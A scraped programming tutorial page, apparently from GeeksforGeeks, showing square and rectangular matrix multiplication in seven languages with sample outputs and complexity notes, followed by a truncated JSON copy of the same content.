// Java program to multiply two square// matrices.import java.io.*; class GFG { static int N = 4; // This function multiplies mat1[][] // and mat2[][], and stores the result // in res[][] static void multiply(int mat1[][], int mat2[][], int res[][]) { int i, j, k; for (i = 0; i < N; i++) { for (j = 0; j < N; j++) { res[i][j] = 0; for (k = 0; k < N; k++) res[i][j] += mat1[i][k] * mat2[k][j]; } } } // Driver code public static void main(String[] args) { int mat1[][] = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; int mat2[][] = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; // To store result int res[][] = new int[N][N]; int i, j; multiply(mat1, mat2, res); System.out.println("Result matrix" + " is "); for (i = 0; i < N; i++) { for (j = 0; j < N; j++) System.out.print(res[i][j] + " "); System.out.println(); } }} // This code is contributed by anuj_67.
# 4x4 matrix multiplication using Python3# Function definitiondef matrix_multiplication(M, N): # List to store matrix multiplication result R = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] for i in range(0, 4): for j in range(0, 4): for k in range(0, 4): R[i][j] += M[i][k] * N[k][j] for i in range(0, 4): for j in range(0, 4): # if we use print(), by default cursor moves to next line each time, # Now we can explicitly define ending character or sequence passing # second parameter as end ="<character or string>" # syntax: print(<variable or value to print>, end ="<ending with>") # Here space (" ") is used to print a gap after printing # each element of R print(R[i][j], end =" ") print("\n", end ="") # First matrix. M is a listM = [[1, 1, 1, 1], [2, 2, 2, 2], [3, 3, 3, 3], [4, 4, 4, 4]] # Second matrix. N is a listN = [[1, 1, 1, 1], [2, 2, 2, 2], [3, 3, 3, 3], [4, 4, 4, 4]] # Call matrix_multiplication functionmatrix_multiplication(M, N) # This code is contributed by Santanu
// C# program to multiply two square// matrices.using System; class GFG { static int N = 4; // This function multiplies mat1[][] // and mat2[][], and stores the result // in res[][] static void multiply(int[, ] mat1, int[, ] mat2, int[, ] res) { int i, j, k; for (i = 0; i < N; i++) { for (j = 0; j < N; j++) { res[i, j] = 0; for (k = 0; k < N; k++) res[i, j] += mat1[i, k] * mat2[k, j]; } } } // Driver code public static void Main() { int[, ] mat1 = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; int[, ] mat2 = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; // To store result int[, ] res = new int[N, N]; int i, j; multiply(mat1, mat2, res); Console.WriteLine("Result matrix" + " is "); for (i = 0; i < N; i++) { for (j = 0; j < N; j++) Console.Write(res[i, j] + " "); Console.WriteLine(); } }} // This code is contributed by anuj_67.
<?php// PHP program to multiply two// square matrices. // This function multiplies mat1[][] and// mat2[][], and stores the result in res[][]function multiply(&$mat1, &$mat2, &$res){ $N = 4; for ($i = 0; $i < $N; $i++) { for ($j = 0; $j < $N; $j++) { $res[$i][$j] = 0; for ($k = 0; $k < $N; $k++) $res[$i][$j] += $mat1[$i][$k] * $mat2[$k][$j]; } }} // Driver Code$mat1 = array(array(1, 1, 1, 1), array(2, 2, 2, 2), array(3, 3, 3, 3), array(4, 4, 4, 4)); $mat2 = array(array(1, 1, 1, 1), array(2, 2, 2, 2), array(3, 3, 3, 3), array(4, 4, 4, 4)); multiply($mat1, $mat2, $res);$N = 4;echo ("Result matrix is \n");for ($i = 0; $i < $N; $i++){ for ($j = 0; $j < $N; $j++) { echo ($res[$i][$j]); echo(" "); } echo ("\n");} // This code is contributed// by Shivi_Aggarwal?>
<script> // Javascript program to multiply// two square matrices. const N = 4; // This function multiplies// mat1[][] and mat2[][], and// stores the result in res[][]function multiply(mat1, mat2, res){ let i, j, k; for (i = 0; i < N; i++) { for (j = 0; j < N; j++) { res[i][j] = 0; for (k = 0; k < N; k++) res[i][j] += mat1[i][k] * mat2[k][j]; } }} // Driver Code let i, j; // To store result let res = new Array(N); for (let k = 0; k < N; k++) res[k] = new Array(N); let mat1 = [ [ 1, 1, 1, 1 ], [ 2, 2, 2, 2 ], [ 3, 3, 3, 3 ], [ 4, 4, 4, 4 ] ]; let mat2 = [ [ 1, 1, 1, 1 ], [ 2, 2, 2, 2 ], [ 3, 3, 3, 3 ], [ 4, 4, 4, 4 ] ]; multiply(mat1, mat2, res); document.write("Result matrix is <br>"); for (i = 0; i < N; i++) { for (j = 0; j < N; j++) document.write(res[i][j] + " "); document.write("<br>"); } </script>
Result matrix is
10 10 10 10
20 20 20 20
30 30 30 30
40 40 40 40
Time complexity: O(n3). It can be optimized using Strassen’s Matrix Multiplication
Auxiliary Space: O(n2)
Multiplication of Rectangular Matrices : We use pointers in C to multiply to matrices. Please refer to the following post as a prerequisite of the code.How to pass a 2D array as a parameter in C?
C++
C
Java
Python3
C#
PHP
Javascript
// C++ program to multiply two// rectangular matrices#include <bits/stdc++.h>using namespace std; // Multiplies two matrices mat1[][]// and mat2[][] and prints result.// (m1) x (m2) and (n1) x (n2) are// dimensions of given matrices.void multiply(int m1, int m2, int mat1[][2], int n1, int n2, int mat2[][2]){ int x, i, j; int res[m1][n2]; for (i = 0; i < m1; i++) { for (j = 0; j < n2; j++) { res[i][j] = 0; for (x = 0; x < m2; x++) { *(*(res + i) + j) += *(*(mat1 + i) + x) * *(*(mat2 + x) + j); } } } for (i = 0; i < m1; i++) { for (j = 0; j < n2; j++) { cout << *(*(res + i) + j) << " "; } cout << "\n"; }} // Driver codeint main(){ int mat1[][2] = { { 2, 4 }, { 3, 4 } }; int mat2[][2] = { { 1, 2 }, { 1, 3 } }; int m1 = 2, m2 = 2, n1 = 2, n2 = 2; // Function call multiply(m1, m2, mat1, n1, n2, mat2); return 0;} // This code is contributed// by Akanksha Rai(Abby_akku)
// C program to multiply two rectangular matrices#include <stdio.h> // Multiplies two matrices mat1[][] and mat2[][]// and prints result.// (m1) x (m2) and (n1) x (n2) are dimensions// of given matrices.void multiply(int m1, int m2, int mat1[][m2], int n1, int n2, int mat2[][n2]){ int x, i, j; int res[m1][n2]; for (i = 0; i < m1; i++) { for (j = 0; j < n2; j++) { res[i][j] = 0; for (x = 0; x < m2; x++) { *(*(res + i) + j) += *(*(mat1 + i) + x) * *(*(mat2 + x) + j); } } } for (i = 0; i < m1; i++) { for (j = 0; j < n2; j++) { printf("%d ", *(*(res + i) + j)); } printf("\n"); }} // Driver codeint main(){ int mat1[][2] = { { 2, 4 }, { 3, 4 } }; int mat2[][2] = { { 1, 2 }, { 1, 3 } }; int m1 = 2, m2 = 2, n1 = 2, n2 = 2; // Function call multiply(m1, m2, mat1, n1, n2, mat2); return 0;}
// Java program to multiply two matrices. public class GFG{ /** * to find out matrix multiplication * * @param matrix1 First matrix * @param rows1 Number of rows in matrix 1 * @param cols1 Number of columns in matrix 1 * @param matrix2 Second matrix * @param rows2 Number of rows in matrix 2 * @param cols2 Number of columns in matrix 2 * @return the result matrix (matrix 1 and matrix 2 * multiplication) */ public static int[][] matrixMultiplication( int[][] matrix1, int rows1, int cols1, int[][] matrix2, int rows2, int cols2) throws Exception { // Required condition for matrix multiplication if (cols1 != rows2) { throw new Exception("Invalid matrix given."); } // create a result matrix int resultMatrix[][] = new int[rows1][cols2]; // Core logic for 2 matrices multiplication for (int i = 0; i < resultMatrix.length; i++) { for (int j = 0; j < resultMatrix[i].length; j++) { for (int k = 0; k < cols1; k++) { resultMatrix[i][j] += matrix1[i][k] * matrix2[k][j]; } } } return resultMatrix; } // Driver code public static void main(String[] args) throws Exception { // Initial matrix 1 and matrix 2 int matrix1[][] = { { 2, 4 }, { 3, 4 } }; int matrix2[][] = { { 1, 2 }, { 1, 3 } }; // Function call to get a matrix multiplication int resultMatrix[][] = matrixMultiplication( matrix1, 2, 2, matrix2, 2, 2); // Display result matrix System.out.println("Result Matrix is:"); for (int i = 0; i < resultMatrix.length; i++) { for (int j = 0; j < resultMatrix[i].length; j++) { System.out.print(resultMatrix[i][j] + "\t"); } System.out.println(); } } // This code is contributed by darshatandel1998 (Darshan // Tandel)}
# Python3 program to multiply two# rectangular matrices # Multiplies two matrices mat1[][]# and mat2[][] and prints result.# (m1) x (m2) and (n1) x (n2) are# dimensions of given matrices.def multiply(m1, m2, mat1, n1, n2, mat2): res = [[0 for x in range(n2)] for y in range (m1)] for i in range(m1): for j in range(n2): res[i][j] = 0 for x in range(m2): res[i][j] += (mat1[ i][x] * mat2[ x][j]) for i in range(m1): for j in range(n2): print (res[i][j], end = " ") print () # Driver codeif __name__ == "__main__": mat1 = [[2, 4], [3, 4]] mat2 = [[1, 2], [1, 3]] m1, m2, n1, n2 = 2, 2, 2, 2 # Function call multiply(m1, m2, mat1, n1, n2, mat2) # This code is contributed by Chitranayal
// C# program to multiply two// rectangular matricesusing System; class GFG{ // Multiplies two matrices mat1[][]// and mat2[][] and prints result.// (m1) x (m2) and (n1) x (n2) are// dimensions of given matrices.static void multiply(int m1, int m2, int[,] mat1, int n1, int n2, int[,] mat2){ int x, i, j; int[,] res = new int[m1, n2]; for(i = 0; i < m1; i++) { for(j = 0; j < n2; j++) { res[i, j] = 0; for(x = 0; x < m2; x++) { res[i, j] += (mat1[i, x] * mat2[x, j]); } } } for(i = 0; i < m1; i++) { for(j = 0; j < n2; j++) { Console.Write(res[i, j] + " "); } Console.WriteLine(); }} // Driver Codestatic void Main(){ int[,] mat1 = { { 2, 4 }, { 3, 4 } }; int[,] mat2 = { { 1, 2 }, { 1, 3 } }; int m1 = 2, m2 = 2, n1 = 2, n2 = 2; // Function call multiply(m1, m2, mat1, n1, n2, mat2);}} // This code is contributed by divyeshrabadiya07
<?php// PHP program to multiply two// rectangular matrices // Multiplies two matrices mat1[][] // and mat2[][] and prints result.// (m1) x (m2) and (n1) x (n2) are// dimensions of given matrices.function multiply($m1, $m2, $mat1, $n1, $n2, $mat2){ for ($i = 0; $i < $m1; $i++) { for ($j = 0; $j < $n2; $j++) { $res[$i][$j] = 0; for ($x = 0; $x < $m2; $x++) { $res[$i][$j] += $mat1[$i][$x] * $mat2[$x][$j]; } } } for ($i = 0; $i < $m1; $i++) { for ($j = 0; $j < $n2; $j++) { echo $res[$i][$j] . " "; } echo "\n"; }} // Driver code$mat1 = array( array( 2, 4 ), array( 3, 4 ));$mat2 = array( array( 1, 2 ), array( 1, 3 ));$m1 = 2;$m2 = 2;$n1 = 2;$n2 = 2; //Function callmultiply($m1, $m2, $mat1, $n1, $n2, $mat2); // This code is contributed by rathbhupendra?>
<script> // Javascript program to multiply two// rectangular matrices // Multiplies two matrices mat1[][]// and mat2[][] and prints result.// (m1) x (m2) and (n1) x (n2) are// dimensions of given matrices.function multiply(m1, m2, mat1, n1, n2, mat2){ let x, i, j; let res = new Array(m1); for (i = 0; i < m1; i++) res[i] = new Array(n2); for (i = 0; i < m1; i++) { for (j = 0; j < n2; j++) { res[i][j] = 0; for (x = 0; x < m2; x++) { res[i][j] += mat1[i][x] * mat2[x][j]; } } } for (i = 0; i < m1; i++) { for (j = 0; j < n2; j++) { document.write(res[i][j] + " "); } document.write("<br>"); }} // Driver code let mat1 = [ [ 2, 4 ], [ 3, 4 ] ]; let mat2 = [ [ 1, 2 ], [ 1, 3 ] ]; let m1 = 2, m2 = 2, n1 = 2, n2 = 2; // Function call multiply(m1, m2, mat1, n1, n2, mat2); </script>
6 16
7 18
Time complexity: O(n3). It can be optimized using Strassen’s Matrix Multiplication
Auxiliary Space: O(m1 * n2)
This article is contributed by Aditya Ranjan. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
vt_m
SoumikMondal
Akanksha_Rai
SantanuBasak
Shivi_Aggarwal
rathbhupendra
ManasChhabra2
darshantandel1998
ukasp
divyeshrabadiya07
rishavmahato348
subhammahato348
mkumar2789
surinderdawra388
Paytm
Mathematical
Matrix
School Programming
Paytm
Mathematical
Matrix
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Merge two sorted arrays
Modulo Operator (%) in C/C++ with Examples
Prime Numbers
Program to find GCD or HCF of two numbers
Sieve of Eratosthenes
Program to find largest element in an array
Print a given matrix in spiral form
Rat in a Maze | Backtracking-2
Maximum size square sub-matrix with all 1s
Sudoku | Backtracking-7
|
[
{
"code": null,
"e": 26571,
"s": 26543,
"text": "\n02 Mar, 2022"
},
{
"code": null,
"e": 26664,
"s": 26571,
"text": "Given two matrices, the task to multiply them. Matrices can either be square or rectangular."
},
{
"code": null,
"e": 26675,
"s": 26664,
"text": "Examples: "
},
{
"code": null,
"e": 27242,
"s": 26675,
"text": "(Square Matrix Multiplication)\nInput : mat1[m][n] = {\n {1, 1},\n {2, 2}\n }\n mat2[n][p] = {\n {1, 1},\n {2, 2}\n }\nOutput : result[m][p] = {\n {3, 3},\n {6, 6}\n }\n\n(Rectangular Matrix Multiplication)\nInput : mat1[3][2] = {\n {1, 1},\n {2, 2},\n {3, 3}\n }\n mat2[2][3] = {\n {1, 1, 1},\n {2, 2, 2}\n }\nOutput : result[3][3] = {\n {3, 3, 3},\n {6, 6, 6},\n {9, 9, 9}\n }"
},
{
"code": null,
"e": 27296,
"s": 27242,
"text": "Multiplication of two Square or Rectangular Matrices:"
},
{
"code": null,
"e": 27362,
"s": 27296,
"text": "This program can multiply any two square or rectangular matrices."
},
{
"code": null,
"e": 27426,
"s": 27362,
"text": "The below program multiplies two square matrices of size 4 * 4."
},
{
"code": null,
"e": 27512,
"s": 27426,
"text": "There is also an example of a rectangular matrix for the same code (commented below)."
},
{
"code": null,
"e": 27645,
"s": 27512,
"text": "We can change the Matrix value with the number of rows and columns (from MACROs) for Matrix-1 and Matrix-2 for different dimensions."
},
{
"code": null,
"e": 27739,
"s": 27645,
"text": "Note: i- The number of columns in Matrix-1 must be equal to the number of rows in Matrix-2."
},
{
"code": null,
"e": 27864,
"s": 27739,
"text": " ii- Output of multiplication of Matrix-1 and Matrix-2, results with equal to the number of rows of Matrix-1 and "
},
{
"code": null,
"e": 27934,
"s": 27864,
"text": " the number of columns of Matrix-2 i.e. rslt[R1][C2]."
},
{
"code": null,
"e": 27938,
"s": 27934,
"text": "C++"
},
{
"code": null,
"e": 27940,
"s": 27938,
"text": "C"
},
{
"code": "/* * This C++ program can multiply any two square or rectangular matrices. * The below program multiplies two square matrices of size 4 * 4. * There is also an example of a rectangular matrix for the same code (commented below). * We can change the Matrix value with the number of rows and columns (from MACROs) for Matrix-1 * and Matrix-2 for different dimensions. */ /* * Note: i- The number of columns in Matrix-1 must be equal to the number of rows in Matrix-2. * ii- Output of multiplication of Matrix-1 and Matrix-2, results with equal to the number * of rows of Matrix-1 and the number of columns of Matrix-2 i.e. rslt[R1][C2]. */ #include <iostream> using namespace std; // Edit MACROs here, according to your Matrix Dimensions for mat1[R1][C1] and mat2[R2][C2]#define R1 4 // number of rows in Matrix-1#define C1 4 // number of columns in Matrix-1#define R2 4 // number of rows in Matrix-2#define C2 4 // number of columns in Matrix-2 void mulMat(int mat1[][C1], int mat2[][C2]) { int rslt[R1][C2]; cout << \"Multiplication of given two matrices is:\\n\" << endl; for (int i = 0; i < R1; i++) { for (int j = 0; j < C2; j++) { rslt[i][j] = 0; for (int k = 0; k < R2; k++) { rslt[i][j] += mat1[i][k] * mat2[k][j]; } cout << rslt[i][j] << \"\\t\"; } cout << endl; }} int main(void) { // Square Matrices // R1 = 4, C1 = 4 and R2 = 4, C2 = 4 (Update these values in MACROs) int mat1[R1][C1] = { {1, 1, 1, 1}, {2, 2, 2, 2}, {3, 3, 3, 3}, {4, 4, 4, 4} }; int mat2[R2][C2] = { {1, 1, 1, 1}, {2, 2, 2, 2}, {3, 3, 3, 3}, {4, 4, 4, 4} }; /* // Rectangular Matrices // R1 = 3, C1 = 4 and R2 = 4, C2 = 3 (Update these values in MACROs) int mat1[R1][C1] = { {1, 1, 1, 1}, {2, 2, 2, 2}, {3, 3, 3, 3} }; int mat2[R2][C2] = { {1, 1, 1}, {2, 2, 2}, {3, 3, 3}, {4, 4, 4} }; */ if (C1 != R2) { cout << \"The number of columns in Matrix-1 must be equal to the number of rows in \" \"Matrix-2\" << endl; cout << \"Please update MACROs according to your array dimension in #define section\" << endl; exit(EXIT_FAILURE); } mulMat(mat1, mat2); return 0;} // This code is contributed by Manish Kumar (mkumar2789)",
"e": 30488,
"s": 27940,
"text": null
},
{
"code": "/* * This C program can multiply any two square or rectangular matrices. * The below program multiplies two square matrices of size 4 * 4. * There is also an example of a rectangular matrix for the same code (commented below). * We can change the Matrix value with the number of rows and columns (from MACROs) for Matrix-1 * and Matrix-2 for different dimensions. */ /* * Note: i- The number of columns in Matrix-1 must be equal to the number of rows in Matrix-2. * ii- Output of multiplication of Matrix-1 and Matrix-2, results with equal to the number * of rows of Matrix-1 and the number of columns of Matrix-2 i.e. rslt[R1][C2]. */ #include <stdio.h>#include <stdlib.h> // Edit MACROs here, according to your Matrix Dimensions for mat1[R1][C1] and mat2[R2][C2]#define R1 4 // number of rows in Matrix-1#define C1 4 // number of columns in Matrix-1#define R2 4 // number of rows in Matrix-2#define C2 4 // number of columns in Matrix-2 void mulMat(int mat1[][C1], int mat2[][C2]) { int rslt[R1][C2]; printf(\"Multiplication of given two matrices is:\\n\\n\"); for (int i = 0; i < R1; i++) { for (int j = 0; j < C2; j++) { rslt[i][j] = 0; for (int k = 0; k < R2; k++) { rslt[i][j] += mat1[i][k] * mat2[k][j]; } printf(\"%d\\t\", rslt[i][j]); } printf(\"\\n\"); }} int main(void) { // Square Matrices // R1 = 4, C1 = 4 and R2 = 4, C2 = 4 (Update these values in MACROs) int mat1[R1][C1] = { {1, 1, 1, 1}, {2, 2, 2, 2}, {3, 3, 3, 3}, {4, 4, 4, 4} }; int mat2[R2][C2] = { {1, 1, 1, 1}, {2, 2, 2, 2}, {3, 3, 3, 3}, {4, 4, 4, 4} }; /* // Rectangular Matrices // R1 = 3, C1 = 4 and R2 = 4, C2 = 3 (Update these values in MACROs) int mat1[R1][C1] = { {1, 1, 1, 1}, {2, 2, 2, 2}, {3, 3, 3, 3} }; int mat2[R2][C2] = { {1, 1, 1}, {2, 2, 2}, {3, 3, 3}, {4, 4, 4} }; */ if (C1 != R2) { printf(\"The number of columns in Matrix-1 must be equal to the number of rows in \" \"Matrix-2\\n\"); printf(\"Please update MACROs value according to your array dimension in \" \"#define section\\n\"); exit(EXIT_FAILURE); } mulMat(mat1, mat2); return 0;} // This code is contributed by Manish Kumar (mkumar2789)",
"e": 32994,
"s": 30488,
"text": null
},
{
"code": null,
"e": 33136,
"s": 32994,
"text": "Multiplication of given two matrices is:\n\n10 10 10 10 \n20 20 20 20 \n30 30 30 30 \n40 40 40 40 "
},
{
"code": null,
"e": 33277,
"s": 33136,
"text": "Multiplication of Square Matrices : The below program multiplies two square matrices of size 4*4, we can change N for different dimensions. "
},
{
"code": null,
"e": 33281,
"s": 33277,
"text": "C++"
},
{
"code": null,
"e": 33283,
"s": 33281,
"text": "C"
},
{
"code": null,
"e": 33288,
"s": 33283,
"text": "Java"
},
{
"code": null,
"e": 33296,
"s": 33288,
"text": "Python3"
},
{
"code": null,
"e": 33299,
"s": 33296,
"text": "C#"
},
{
"code": null,
"e": 33303,
"s": 33299,
"text": "PHP"
},
{
"code": null,
"e": 33314,
"s": 33303,
"text": "Javascript"
},
{
"code": "// C++ program to multiply// two square matrices.#include <iostream> using namespace std; #define N 4 // This function multiplies// mat1[][] and mat2[][], and// stores the result in res[][]void multiply(int mat1[][N], int mat2[][N], int res[][N]){ int i, j, k; for (i = 0; i < N; i++) { for (j = 0; j < N; j++) { res[i][j] = 0; for (k = 0; k < N; k++) res[i][j] += mat1[i][k] * mat2[k][j]; } }} // Driver Codeint main(){ int i, j; int res[N][N]; // To store result int mat1[N][N] = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; int mat2[N][N] = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; multiply(mat1, mat2, res); cout << \"Result matrix is \\n\"; for (i = 0; i < N; i++) { for (j = 0; j < N; j++) cout << res[i][j] << \" \"; cout << \"\\n\"; } return 0;} // This code is contributed// by Soumik Mondal",
"e": 34431,
"s": 33314,
"text": null
},
{
"code": "// C program to multiply two square matrices.#include <stdio.h>#define N 4 // This function multiplies mat1[][] and mat2[][],// and stores the result in res[][]void multiply(int mat1[][N], int mat2[][N], int res[][N]){ int i, j, k; for (i = 0; i < N; i++) { for (j = 0; j < N; j++) { res[i][j] = 0; for (k = 0; k < N; k++) res[i][j] += mat1[i][k] * mat2[k][j]; } }} int main(){ int mat1[N][N] = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; int mat2[N][N] = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; int res[N][N]; // To store result int i, j; multiply(mat1, mat2, res); printf(\"Result matrix is \\n\"); for (i = 0; i < N; i++) { for (j = 0; j < N; j++) printf(\"%d \", res[i][j]); printf(\"\\n\"); } return 0;}",
"e": 35432,
"s": 34431,
"text": null
},
{
"code": "// Java program to multiply two square// matrices.import java.io.*; class GFG { static int N = 4; // This function multiplies mat1[][] // and mat2[][], and stores the result // in res[][] static void multiply(int mat1[][], int mat2[][], int res[][]) { int i, j, k; for (i = 0; i < N; i++) { for (j = 0; j < N; j++) { res[i][j] = 0; for (k = 0; k < N; k++) res[i][j] += mat1[i][k] * mat2[k][j]; } } } // Driver code public static void main(String[] args) { int mat1[][] = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; int mat2[][] = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; // To store result int res[][] = new int[N][N]; int i, j; multiply(mat1, mat2, res); System.out.println(\"Result matrix\" + \" is \"); for (i = 0; i < N; i++) { for (j = 0; j < N; j++) System.out.print(res[i][j] + \" \"); System.out.println(); } }} // This code is contributed by anuj_67.",
"e": 36826,
"s": 35432,
"text": null
},
{
"code": "# 4x4 matrix multiplication using Python3# Function definitiondef matrix_multiplication(M, N): # List to store matrix multiplication result R = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] for i in range(0, 4): for j in range(0, 4): for k in range(0, 4): R[i][j] += M[i][k] * N[k][j] for i in range(0, 4): for j in range(0, 4): # if we use print(), by default cursor moves to next line each time, # Now we can explicitly define ending character or sequence passing # second parameter as end =\"<character or string>\" # syntax: print(<variable or value to print>, end =\"<ending with>\") # Here space (\" \") is used to print a gap after printing # each element of R print(R[i][j], end =\" \") print(\"\\n\", end =\"\") # First matrix. M is a listM = [[1, 1, 1, 1], [2, 2, 2, 2], [3, 3, 3, 3], [4, 4, 4, 4]] # Second matrix. N is a listN = [[1, 1, 1, 1], [2, 2, 2, 2], [3, 3, 3, 3], [4, 4, 4, 4]] # Call matrix_multiplication functionmatrix_multiplication(M, N) # This code is contributed by Santanu",
"e": 38006,
"s": 36826,
"text": null
},
{
"code": "// C# program to multiply two square// matrices.using System; class GFG { static int N = 4; // This function multiplies mat1[][] // and mat2[][], and stores the result // in res[][] static void multiply(int[, ] mat1, int[, ] mat2, int[, ] res) { int i, j, k; for (i = 0; i < N; i++) { for (j = 0; j < N; j++) { res[i, j] = 0; for (k = 0; k < N; k++) res[i, j] += mat1[i, k] * mat2[k, j]; } } } // Driver code public static void Main() { int[, ] mat1 = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; int[, ] mat2 = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; // To store result int[, ] res = new int[N, N]; int i, j; multiply(mat1, mat2, res); Console.WriteLine(\"Result matrix\" + \" is \"); for (i = 0; i < N; i++) { for (j = 0; j < N; j++) Console.Write(res[i, j] + \" \"); Console.WriteLine(); } }} // This code is contributed by anuj_67.",
"e": 39372,
"s": 38006,
"text": null
},
{
"code": "<?php// PHP program to multiply two// square matrices. // This function multiplies mat1[][] and// mat2[][], and stores the result in res[][]function multiply(&$mat1, &$mat2, &$res){ $N = 4; for ($i = 0; $i < $N; $i++) { for ($j = 0; $j < $N; $j++) { $res[$i][$j] = 0; for ($k = 0; $k < $N; $k++) $res[$i][$j] += $mat1[$i][$k] * $mat2[$k][$j]; } }} // Driver Code$mat1 = array(array(1, 1, 1, 1), array(2, 2, 2, 2), array(3, 3, 3, 3), array(4, 4, 4, 4)); $mat2 = array(array(1, 1, 1, 1), array(2, 2, 2, 2), array(3, 3, 3, 3), array(4, 4, 4, 4)); multiply($mat1, $mat2, $res);$N = 4;echo (\"Result matrix is \\n\");for ($i = 0; $i < $N; $i++){ for ($j = 0; $j < $N; $j++) { echo ($res[$i][$j]); echo(\" \"); } echo (\"\\n\");} // This code is contributed// by Shivi_Aggarwal?>",
"e": 40343,
"s": 39372,
"text": null
},
{
"code": "<script> // Javascript program to multiply// two square matrices. const N = 4; // This function multiplies// mat1[][] and mat2[][], and// stores the result in res[][]function multiply(mat1, mat2, res){ let i, j, k; for (i = 0; i < N; i++) { for (j = 0; j < N; j++) { res[i][j] = 0; for (k = 0; k < N; k++) res[i][j] += mat1[i][k] * mat2[k][j]; } }} // Driver Code let i, j; // To store result let res = new Array(N); for (let k = 0; k < N; k++) res[k] = new Array(N); let mat1 = [ [ 1, 1, 1, 1 ], [ 2, 2, 2, 2 ], [ 3, 3, 3, 3 ], [ 4, 4, 4, 4 ] ]; let mat2 = [ [ 1, 1, 1, 1 ], [ 2, 2, 2, 2 ], [ 3, 3, 3, 3 ], [ 4, 4, 4, 4 ] ]; multiply(mat1, mat2, res); document.write(\"Result matrix is <br>\"); for (i = 0; i < N; i++) { for (j = 0; j < N; j++) document.write(res[i][j] + \" \"); document.write(\"<br>\"); } </script>",
"e": 41427,
"s": 40343,
"text": null
},
{
"code": null,
"e": 41497,
"s": 41427,
"text": "Result matrix is \n10 10 10 10 \n20 20 20 20 \n30 30 30 30 \n40 40 40 40 "
},
{
"code": null,
"e": 41580,
"s": 41497,
"text": "Time complexity: O(n3). It can be optimized using Strassen’s Matrix Multiplication"
},
{
"code": null,
"e": 41603,
"s": 41580,
"text": "Auxiliary Space: O(n2)"
},
{
"code": null,
"e": 41800,
"s": 41603,
"text": "Multiplication of Rectangular Matrices : We use pointers in C to multiply to matrices. Please refer to the following post as a prerequisite of the code.How to pass a 2D array as a parameter in C? "
},
{
"code": null,
"e": 41804,
"s": 41800,
"text": "C++"
},
{
"code": null,
"e": 41806,
"s": 41804,
"text": "C"
},
{
"code": null,
"e": 41811,
"s": 41806,
"text": "Java"
},
{
"code": null,
"e": 41819,
"s": 41811,
"text": "Python3"
},
{
"code": null,
"e": 41822,
"s": 41819,
"text": "C#"
},
{
"code": null,
"e": 41826,
"s": 41822,
"text": "PHP"
},
{
"code": null,
"e": 41837,
"s": 41826,
"text": "Javascript"
},
{
"code": "// C++ program to multiply two// rectangular matrices#include <bits/stdc++.h>using namespace std; // Multiplies two matrices mat1[][]// and mat2[][] and prints result.// (m1) x (m2) and (n1) x (n2) are// dimensions of given matrices.void multiply(int m1, int m2, int mat1[][2], int n1, int n2, int mat2[][2]){ int x, i, j; int res[m1][n2]; for (i = 0; i < m1; i++) { for (j = 0; j < n2; j++) { res[i][j] = 0; for (x = 0; x < m2; x++) { *(*(res + i) + j) += *(*(mat1 + i) + x) * *(*(mat2 + x) + j); } } } for (i = 0; i < m1; i++) { for (j = 0; j < n2; j++) { cout << *(*(res + i) + j) << \" \"; } cout << \"\\n\"; }} // Driver codeint main(){ int mat1[][2] = { { 2, 4 }, { 3, 4 } }; int mat2[][2] = { { 1, 2 }, { 1, 3 } }; int m1 = 2, m2 = 2, n1 = 2, n2 = 2; // Function call multiply(m1, m2, mat1, n1, n2, mat2); return 0;} // This code is contributed// by Akanksha Rai(Abby_akku)",
"e": 42926,
"s": 41837,
"text": null
},
{
"code": "// C program to multiply two rectangular matrices#include <stdio.h> // Multiplies two matrices mat1[][] and mat2[][]// and prints result.// (m1) x (m2) and (n1) x (n2) are dimensions// of given matrices.void multiply(int m1, int m2, int mat1[][m2], int n1, int n2, int mat2[][n2]){ int x, i, j; int res[m1][n2]; for (i = 0; i < m1; i++) { for (j = 0; j < n2; j++) { res[i][j] = 0; for (x = 0; x < m2; x++) { *(*(res + i) + j) += *(*(mat1 + i) + x) * *(*(mat2 + x) + j); } } } for (i = 0; i < m1; i++) { for (j = 0; j < n2; j++) { printf(\"%d \", *(*(res + i) + j)); } printf(\"\\n\"); }} // Driver codeint main(){ int mat1[][2] = { { 2, 4 }, { 3, 4 } }; int mat2[][2] = { { 1, 2 }, { 1, 3 } }; int m1 = 2, m2 = 2, n1 = 2, n2 = 2; // Function call multiply(m1, m2, mat1, n1, n2, mat2); return 0;}",
"e": 43930,
"s": 42926,
"text": null
},
{
